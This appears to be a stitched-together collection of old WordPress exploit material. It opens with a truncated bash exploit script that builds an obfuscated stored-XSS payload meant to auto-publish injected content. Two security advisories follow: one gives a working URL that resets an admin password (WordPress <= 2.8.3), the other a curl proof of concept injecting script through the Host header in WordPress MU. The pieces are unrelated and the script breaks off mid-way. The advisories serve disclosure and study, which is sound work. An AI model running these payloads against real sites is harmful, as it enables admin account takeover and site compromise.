        echo "$0  [postID]"
        echo "f.e. $0 www.worstpress.eu"
        exit
fi

if [ "X$POSTID" = "X" ]; then
        POSTID=1
fi


echo "[+] building payload"

WHERE="title" # can also be 'content'
PATH="$SITE/wp-comments-post.php"

WHERE=`echo -n "$WHERE" | /usr/bin/od -t d1 -A n | /bin/sed 's/\\s\\s*/,/g' | /bin/sed 's/^,//'`
EVILURL="http://w.ch'onmouseover='document.getElementById(String.fromCharCode($WHERE)).value=this.innerHTML;document.getElementById(String.fromCharCode(112,117,98,108,105,115,104)).click();"
echo "[-] payload is $EVILURL for '$MESSAGE'"

EVILURL=`echo -n "$EVILURL" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
MESSAGE=`echo -n "$MESSAGE" | /usr/bin/od -t x1 -A n | /usr/bin/tr " " %`
RNDDATA=`/bin/date +%S%s`;

echo "[!] delivering data"

I. VULNERABILITY
-------------------------
WordPress <= 2.8.3 Remote admin reset password

II. BACKGROUND
-------------------------
WordPress is a state-of-the-art publishing platform with a focus on
aesthetics, web standards, and usability. WordPress is both free and
priceless at the same time. More simply, WordPress is what you use when
you want to work with your blogging software, not fight it.

III. DESCRIPTION
-------------------------
The way Wordpress handle a password reset looks like this:
You submit your email adress or username via this form /wp-login.php?action=lostpassword ;
Wordpress send you a reset confirmation like that via email:

"
Someone has asked to reset the password for the following site and username.
http://DOMAIN_NAME.TLD/wordpress
Username: admin
To reset your password visit the following address, otherwise just
ignore this email and nothing will happen

http://DOMAIN_NAME.TLD/wordpress/wp-login.php?action=rp&key=o7naCKN3OoeU2KJMMsag
"

You click on the link, and then Wordpress reset your admin password, and
sends you over another email with your new credentials.

Let's see how it works:


wp-login.php:
...[snip]....
line 186:
function reset_password($key) {
    global $wpdb;

    $key = preg_replace('/[^a-z0-9]/i', '', $key);

    if ( empty( $key ) )
        return new WP_Error('invalid_key', __('Invalid key'));

    $user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));
    if ( empty( $user ) )
        return new WP_Error('invalid_key', __('Invalid key'));
...[snip]....
line 276:
$action = isset($_REQUEST['action']) ? $_REQUEST['action'] : 'login';
$errors = new WP_Error();

if ( isset($_GET['key']) )
    $action = 'resetpass';

// validate action so as to default to the login screen
if ( !in_array($action, array('logout', 'lostpassword', 'retrievepassword', 'resetpass', 'rp', 'register', 'login')) && false === has_filter('login_form_' . $action) )
    $action = 'login';
...[snip]....

line 370:

break;

case 'resetpass' :
case 'rp' :
    $errors = reset_password($_GET['key']);

    if ( ! is_wp_error($errors) ) {
        wp_redirect('wp-login.php?checkemail=newpass');
        exit();
    }

    wp_redirect('wp-login.php?action=lostpassword&error=invalidkey');
    exit();

break;
...[snip ]...

You can abuse the password reset function, and bypass the first step and
then reset the admin password by submiting an array to the $key
variable.
 

IV. PROOF OF CONCEPT
-------------------------
A web browser is sufficiant to reproduce this Proof of concept:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=
The password will be reset without any confirmation.
 
V. BUSINESS IMPACT
-------------------------
An attacker could exploit this vulnerability to compromise the admin
account of any wordpress/wordpress-mu <= 2.8.3

VI. SYSTEMS AFFECTED
-------------------------
All

VII. SOLUTION
-------------------------
No patch aviable for the moment.

INTERNET SECURITY AUDITORS alert 2009-004
- Original release date: December 3rd, 2008
- Last revised:  March 10th, 2009
- Discovered by: Juan Galiana Lara
- Severity: 6.3/10 (CVSS scored)
=============================================

I. VULNERABILITY
-------------------------
WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS)
Vulnerability

II. BACKGROUND
-------------------------
WordPress MU, or multi-user, allows to run unlimited blogs with a
single install of wordpress. It is most famously used for
WordPress.com where it serves tens of millions of hits on hundreds of
thousands of blogs each day. Also is used in many other sites like
Harvard University and Le Monde.

III. DESCRIPTION
-------------------------
WordPress MU prior to version 2.7 fails to sanitize the Host header
correctly in choose_primary_blog function and is therefore prune to
XSS attacks.
Web Sites running in a name based virtual hosting setup are not
affected while they are not the default virtual host.

IV. PROOF OF CONCEPT
-------------------------
The snippet of vulnerable code:

In wp-includes/wpmu-functions.php, concretly in the function
choose_primary_blog:

1830 function choose_primary_blog() {
1831     global $current_user;
1832     ?>
1833     <table class="form-table">
1834     <tr>
1835         <th scope="row">php _e('Primary Blog'); ?>th>
1836         <td>
1837         php
1838         $all_blogs = get_blogs_of_user( $current_user->ID );
1839         if( count( $all_blogs ) > 1 ) {
1840             $primary_blog = get_usermeta($current_user->ID,
'primary_blog');
1841             ?>
1842             <select name="primary_blog">
1843                 php foreach( (array) $all_blogs as $blog ) { ?>
1844                     <option value='userblog_id
?>'php if( $primary_blog == $blog->userblog_id ) echo '
selected="selected"' ?>>http://domain.$blog->path
?>option>
1845                 php } ?>
1846             </select>
1847             1848         } else {
1849             echo $_SERVER['HTTP_HOST']; <- HERE
1850         }
1851         ?>
1852         td>
1853     </tr>
1854     table>
1855     php
1856 }

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];"
and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: 
onload=alert(String.fromCharCode(88,83,83))>"
http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim
browser, this can be exploited to steal cookies and escalate
privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

V. BUSINESS IMPACT
-------------------------
The impact is the attacker can gain administrator privileges on the
application.

VI. SYSTEMS AFFECTED
-------------------------
Versions prior to 2.7 are affected

VII. SOLUTION
-------------------------
Upgrade to version 2.7 of wordpress multi-user. It can be downloaded
from http://mu.wordpress.org
